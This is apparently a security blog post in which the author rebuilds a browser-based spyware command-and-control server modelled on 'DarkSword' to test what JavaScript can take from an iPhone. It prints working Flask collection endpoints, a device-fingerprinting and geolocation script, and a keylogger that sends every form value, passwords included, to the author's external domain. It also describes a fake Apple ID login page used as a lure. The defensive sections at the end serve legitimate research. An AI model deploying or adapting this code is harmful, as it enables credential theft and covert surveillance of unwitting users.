May 12, 2026
DarkSword: Building a Browser-Based C2 for iOS Research
How I recreated a commercial spyware infrastructure to understand what JavaScript can really steal from your iPhone
Umbertomauro
8 min read
When Google's Threat Analysis Group published their DarkSword report in March 2026, most people focused on the six CVEs and the zero-click exploitation chain. I wanted to understand something different: what can an attacker actually capture from a mobile browser before even attempting kernel exploitation?
This article documents my hands-on research building a command-and-control server, the real data I captured, and what this means for mobile security in 2026.
⚠️ Disclaimer: All tests were conducted on my personal devices in a controlled environment (Corellium) for purely educational purposes. Do not use these techniques against unauthorized targets.
Why This Research Matters
DarkSword isn't just another iOS exploit. It represents a fundamental shift in how mobile surveillance works:
- No app installation required — everything happens in Safari
- No MDM profiles — nothing shows up in device management
- No visible persistence — no icon, no settings entry
- Just a link — one tap and the exploitation begins
Before diving into kernel exploitation (which requires rare, expensive CVEs), attackers need reconnaissance. That's what this research explores: the pre-exploitation phase that happens entirely in JavaScript.
The Lab Setup
Infrastructure
To test realistically, I needed infrastructure that mimicked a real attack:
Cloud Environment:
- Corellium iOS VM (iOS 18.4 — the vulnerable version)
- VPS with public IP for C2 server
- Registered domain:
darksword.cloudportal247.site
Why a real domain? Modern iOS requires HTTPS for sensitive APIs (geolocation, sensors, camera). A self-signed certificate wouldn't cut it.
Local Testing:
- Windows 11 with WSL
- Python 3.14 backend
- Flask + SocketIO for real-time exfiltration
The Domain Registration
I registered darksword.cloudportal247.site through Cloudflare and obtained a Let's Encrypt SSL certificate. This was mandatory because:
- iOS blocks geolocation on HTTP (even localhost)
- Modern browsers require HTTPS for sensor APIs
- Real attackers use legitimate-looking domains
Total cost: $12 for the domain + $0 for SSL (Let's Encrypt).
Building the C2 Server
The C2 architecture consists of three stages, mirroring how real commercial spyware operates:
Stage 1: Silent Fingerprinting
Collect device/browser metadata without triggering any permissions:
python
@app.route('/exfil', methods=['POST'])
def exfil():
data = request.get_json()
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
filename = f"exfil_{timestamp}.json"
with open(filename, 'w') as f:
json.dump(data, f, indent=2)
print(f"[+] Stage 1 data received: {filename}")
return jsonify({"status": "ok"})@app.route('/exfil', methods=['POST'])
def exfil():
data = request.get_json()
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
filename = f"exfil_{timestamp}.json"
with open(filename, 'w') as f:
json.dump(data, f, indent=2)
print(f"[+] Stage 1 data received: {filename}")
return jsonify({"status": "ok"})What gets collected:
- User-Agent string (device model, iOS version)
- Screen resolution and pixel ratio
- Timezone and language
- Hardware capabilities (CPU cores, memory)
- Battery status
- Network connection type
- Installed browser plugins
Stage 2: Keystroke Logging
Capture every character typed in forms:
python
@app.route('/keys', methods=['POST'])
def keys():
data = request.get_json()
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
millis = datetime.now().microsecond // 1000
filename = f"keys_{timestamp}_{millis}.json"
with open(filename, 'w') as f:
json.dump(data, f, indent=2)
print(f"[+] Keystroke: {data.get('field')} = {data.get('value')}")
return jsonify({"status": "ok"})@app.route('/keys', methods=['POST'])
def keys():
data = request.get_json()
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
millis = datetime.now().microsecond // 1000
filename = f"keys_{timestamp}_{millis}.json"
with open(filename, 'w') as f:
json.dump(data, f, indent=2)
print(f"[+] Keystroke: {data.get('field')} = {data.get('value')}")
return jsonify({"status": "ok"})Stage 3: Persistent Monitoring
Long-lived connection for continuous data collection (not fully implemented in my research, but the endpoint exists in real attacks).
The Client-Side Payload
The JavaScript that runs in the victim's Safari browser is surprisingly powerful:
javascript
async function stage1_fingerprint() {
const data = {
metadata: {
timestamp: new Date().toISOString(),
collector: "DarkSword-Advanced",
version: "1.0"
},
device: {
userAgent: navigator.userAgent,
platform: navigator.platform,
vendor: navigator.vendor,
hardwareConcurrency: navigator.hardwareConcurrency,
maxTouchPoints: navigator.maxTouchPoints,
deviceMemory: navigator.deviceMemory
},
screen: {
width: screen.width,
height: screen.height,
colorDepth: screen.colorDepth,
pixelRatio: window.devicePixelRatio
},
geolocation: await getLocation(),
battery: await getBattery()
};
await fetch('https://darksword.cloudportal247.site/exfil', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify(data)
});
}async function stage1_fingerprint() {
const data = {
metadata: {
timestamp: new Date().toISOString(),
collector: "DarkSword-Advanced",
version: "1.0"
},
device: {
userAgent: navigator.userAgent,
platform: navigator.platform,
vendor: navigator.vendor,
hardwareConcurrency: navigator.hardwareConcurrency,
maxTouchPoints: navigator.maxTouchPoints,
deviceMemory: navigator.deviceMemory
},
screen: {
width: screen.width,
height: screen.height,
colorDepth: screen.colorDepth,
pixelRatio: window.devicePixelRatio
},
geolocation: await getLocation(),
battery: await getBattery()
};
await fetch('https://darksword.cloudportal247.site/exfil', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify(data)
});
}The keylogger is even simpler:
javascript
document.addEventListener('keyup', (e) => {
const target = e.target;
if (target.tagName === 'INPUT' || target.tagName === 'TEXTAREA') {
fetch('https://darksword.cloudportal247.site/keys', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
field: target.id || target.name,
value: target.value,
isPassword: target.type === 'password',
url: window.location.href,
timestamp: Date.now()
})
});
}
});document.addEventListener('keyup', (e) => {
const target = e.target;
if (target.tagName === 'INPUT' || target.tagName === 'TEXTAREA') {
fetch('https://darksword.cloudportal247.site/keys', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
field: target.id || target.name,
value: target.value,
isPassword: target.type === 'password',
url: window.location.href,
timestamp: Date.now()
})
});
}
});Every keystroke. Every field. Sent in real-time.
What I Actually Captured
Test 1: Control Test (Desktop Browser)
First, I verified the C2 was working by visiting from my Windows laptop.
Result: exfil_20260407_024528.json
json
{
"device": {
"userAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)...",
"platform": "Win32",
"hardwareConcurrency": 4,
"deviceMemory": 4
},
"geolocation": {
"latitude": 41.895292,
"longitude": 12.439891,
"accuracy": 97
}
}{
"device": {
"userAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)...",
"platform": "Win32",
"hardwareConcurrency": 4,
"deviceMemory": 4
},
"geolocation": {
"latitude": 41.895292,
"longitude": 12.439891,
"accuracy": 97
}
}Key finding: Geolocation worked immediately after I granted permission (the browser prompted). Accuracy: 97 meters — enough to identify my building in Rome.
Test 2: iPhone on Corellium
Then I loaded the malicious page on an iOS 18.4 VM:
Result: exfil_20260407_030453.json
json
{
"device": {
"userAgent": "Mozilla/5.0 (iPhone; CPU iPhone OS 18_6...)",
"platform": "iPhone",
"hardwareConcurrency": 4,
"maxTouchPoints": 5
},
"screen": {
"width": 393,
"height": 852,
"pixelRatio": 3
}
}{
"device": {
"userAgent": "Mozilla/5.0 (iPhone; CPU iPhone OS 18_6...)",
"platform": "iPhone",
"hardwareConcurrency": 4,
"maxTouchPoints": 5
},
"screen": {
"width": 393,
"height": 852,
"pixelRatio": 3
}
}Device fingerprinting success:
- Correctly identified as iPhone
- Screen resolution matches iPhone 14 Pro
- iOS 18.6 detected
- 4 CPU cores exposed
Test 3: The Keylogger
I created a fake Apple ID login page to test keystroke capture:
Results: Two JSON files captured as I typed "str" in the username field:
json
// keys_20260407_044212_138.json
{
"field": "apple_id",
"value": "str",
"isPassword": false,
"timestamp": 1775529732034
}
// keys_20260407_044212_424.json
{
"field": "apple_id",
"value": "strn",
"isPassword": false,
"timestamp": 1775529732334
}// keys_20260407_044212_138.json
{
"field": "apple_id",
"value": "str",
"isPassword": false,
"timestamp": 1775529732034
}
// keys_20260407_044212_424.json
{
"field": "apple_id",
"value": "strn",
"isPassword": false,
"timestamp": 1775529732334
}Every single keystroke. Every 300 milliseconds. Before the form is even submitted.
In a real attack, the attacker would have your full credentials before you hit "Sign In."
The .ipa Experiment (And Why We Abandoned It)
Originally, I planned to create a malicious iOS app (.ipa file) for Stage 2 — the post-exploitation phase that would escape the browser sandbox.
The theory:
- Victim clicks malicious link (Stage 1)
- JavaScript prompts: "Install security update to continue"
- User downloads/installs
.ipa - App provides persistent access outside sandbox
Why We Stopped
While researching, I discovered:
The leaked DarkSword repo already included the .ipa file. I didn't need to rebuild it.
More importantly, I realized creating a convincing .ipa is harder than the JavaScript payload:
- Requires stolen Apple Developer certificate ($$$)
- Enterprise certificates are tracked by Apple
- MDM enrollment shows up in Settings
- Installation prompts are suspicious
The browser-only approach is actually stealthier:
✅ No installation prompt ✅ No visible app icon ✅ No MDM profile ✅ No App Store review ✅ Works on any iOS version with browser access
So I focused on maximizing JavaScript-only capabilities instead.
What JavaScript Can (And Cannot) Steal
Based on my testing, here's the complete picture:
✅ Available Without Permissions
The moment you load the page, these are exposed:
- Device model and iOS version
- Screen resolution and pixel ratio
- Browser type and version
- Timezone and language settings
- CPU cores and RAM amount
- Touch capabilities
- Battery level and charging status
- Network connection type
- Canvas fingerprint (unique identifier)
- WebGL fingerprint
- All cookies
- LocalStorage and SessionStorage
⚠️ Available With User Permission
These require a prompt (but social engineering works):
- GPS coordinates (accurate to 10–100 meters)
- Camera access (live video stream)
- Microphone access (live audio)
- Motion sensors (accelerometer, gyroscope)
- Clipboard content (on certain interactions)
❌ NOT Available (Sandbox Protection)
Even with full JavaScript access, you cannot reach:
- Saved passwords (Keychain)
- SMS or iMessage content
- Photos outside the browser
- Files from other apps
- WhatsApp/Telegram databases
- Call logs
- Contact list
This is why DarkSword needed 6 CVEs. The browser sandbox is effective. JavaScript alone gets you reconnaissance, but not the crown jewels.
What a Blue Team Would See
From a defender's perspective, this attack leaves traces:
Network Level
DNS Query: darksword.cloudportal247.site
TLS SNI: darksword.cloudportal247.site
HTTP POST /exfil (3.1 KB)
HTTP POST /keys (multiple 200-byte requests)DNS Query: darksword.cloudportal247.site
TLS SNI: darksword.cloudportal247.site
HTTP POST /exfil (3.1 KB)
HTTP POST /keys (multiple 200-byte requests)Red flags:
- Newly registered domain (❤0 days)
- Repetitive POST requests from browser
- JSON payloads to unusual endpoint
- Continuous traffic pattern
Browser Level
If DevTools are open (they rarely are):
javascript
[+] Stage 1 data received
[+] Keystroke captured: apple_id = s
[+] Keystroke captured: apple_id = st[+] Stage 1 data received
[+] Keystroke captured: apple_id = s
[+] Keystroke captured: apple_id = stEndpoint Level
Safari WebContent: High CPU usage
Network activity while page backgrounded
Persistent JavaScript executionSafari WebContent: High CPU usage
Network activity while page backgrounded
Persistent JavaScript executionThe problem: Most users (and many MDM solutions) don't monitor this. Safari is trusted. JavaScript is normal. The attack blends in.
Defending Against Browser-Based Attacks
For Individual Users
1. Enable Lockdown Mode
The nuclear option, but effective:
Settings → Privacy & Security → Lockdown ModeSettings → Privacy & Security → Lockdown ModeThis disables:
- JIT JavaScript compilation (kills exploit reliability)
- WebGL and complex fonts (breaks fingerprinting)
- Some sensor APIs
Trade-off: Some websites break. But if you're a high-value target (journalist, activist, executive), this is mandatory.
2. Use DNS-Level Blocking
Block newly registered domains:
- NextDNS
- AdGuard DNS
- Pi-hole at home
3. Audit Safari Settings
Settings → Safari → Privacy & Security
→ Prevent Cross-Site Tracking: ON
→ Block All Cookies: ON (strict but safer)
→ Fraudulent Website Warning: ONSettings → Safari → Privacy & Security
→ Prevent Cross-Site Tracking: ON
→ Block All Cookies: ON (strict but safer)
→ Fraudulent Website Warning: ONKey Lessons from This Research
1. JavaScript is Underestimated
Security teams focus on:
- Malicious apps (
.ipafiles) - Phishing (credential harvesting)
- Network attacks (MitM, DNS poisoning)
But browser-based JavaScript attacks fly under the radar. No installation. No persistence. Just reconnaissance that enables the next stage.
2. The Sandbox is Your Friend
Despite capturing significant data, I couldn't:
- Access the filesystem
- Read data from other apps
- Persist across browser restarts (easily)
The iOS sandbox works. This is why real exploits like DarkSword invest heavily in sandbox escape CVEs. JavaScript alone isn't enough for sustained surveillance.
3. Social Engineering is the Weak Link
The most sensitive data (GPS, camera, microphone) still requires user permission. But humans are predictable:
- "Enable location for weather"
- "Allow camera to scan QR code"
- "Grant microphone for voice search"
We click "Allow" without thinking.
4. Domain Age Matters
My domain was registered April 6, 2026. Any DNS security product checking domain age would flag it immediately.
Limitations of This Research
What I DIDN'T test:
❌ Actual CVE exploitation — I only tested data collection, not kernel access ❌ Long-term persistence — Real attacks maintain access for weeks/months ❌ iOS versions < 18.4 — Older versions might have different capabilities ❌ Real phishing campaigns — I used Corellium, not actual victims
Why these limitations?
- Exploiting real CVEs on production devices is illegal
- Sustained C2 testing requires infrastructure I don't have
- Real-world phishing would be unethical
This research focused on what's possible with just JavaScript — which is already significant.
The Commercial Spyware Problem
DarkSword isn't an academic curiosity. According to Google TAG:
UNC6748 (Saudi Arabia) — Used against domestic targets PARS Defense (Turkey) — Commercial vendor selling to governments UNC6353 (Russia) — Deployed against Ukrainian targets
This is the commoditization of surveillance. You don't need an elite hacking team anymore — you just need a budget and a vendor.
The Proliferation Timeline
- November 2025: First DarkSword sightings
- December 2025: Cross-border operations begin
- January 2026: Commercial offering to multiple governments
- March 2026: Google TAG public disclosure
Four months from first use to public awareness. During that window, hundreds (thousands?) of targets were compromised.
Conclusion: JavaScript is an Attack Surface
Building a DarkSword-style C2 taught me that:
- Browser-based attacks are effective — Reconnaissance doesn't need kernel access
- JavaScript capabilities are extensive — Fingerprinting reveals massive intel
- Sandboxes work (mostly) — But they won't stop determined attackers with CVEs
- Detection is possible — If you know what to look for
For the security community: Don't ignore JavaScript threats. The fact that DarkSword starts with browser exploitation proves that modern browsers are a viable — and underrated — attack surface.
For defenders: Monitor DNS, inspect TLS, train users. These attacks are detectable if you're looking.
For high-risk targets: Lockdown Mode isn't paranoia. It's insurance.
Resources & Further Reading
Original Research:
- Google TAG DarkSword Report (March 2026)
- Apple Security Updates: iOS 18.7.3, 26.3
Tools Used:
- Corellium (iOS VM testing)
- Python Flask (C2 server)
- Let's Encrypt (SSL certificates)
My Work:
- X/Twitter: @SteveVanasche77
- Blog: stevevanasche.me
Quick Reference Commands
For security researchers wanting to replicate this (ethically):
bash
# Setup C2 server
python3 server.py
# Check domain age (OSINT)
whois your-domain.com | grep "Creation"
# Monitor DNS queries (defensive)
tcpdump -i any -n port 53 | grep suspicious
# Block domain (local)
echo "0.0.0.0 malicious.com" >> /etc/hosts
# Analyze captured JSON
jq '.geolocation' exfil_*.json
jq '.device.userAgent' exfil_*.json# Setup C2 server
python3 server.py
# Check domain age (OSINT)
whois your-domain.com | grep "Creation"
# Monitor DNS queries (defensive)
tcpdump -i any -n port 53 | grep suspicious
# Block domain (local)
echo "0.0.0.0 malicious.com" >> /etc/hosts
# Analyze captured JSON
jq '.geolocation' exfil_*.json
jq '.device.userAgent' exfil_*.jsonFinal Disclaimer: This research was conducted entirely on personal devices and controlled infrastructure for educational purposes. All testing was performed legally and ethically. Do not use these techniques against unauthorized targets. Unauthorized access to computer systems is illegal worldwide.
If you found this research valuable, follow me for more mobile security research. Website: stevevanasche.me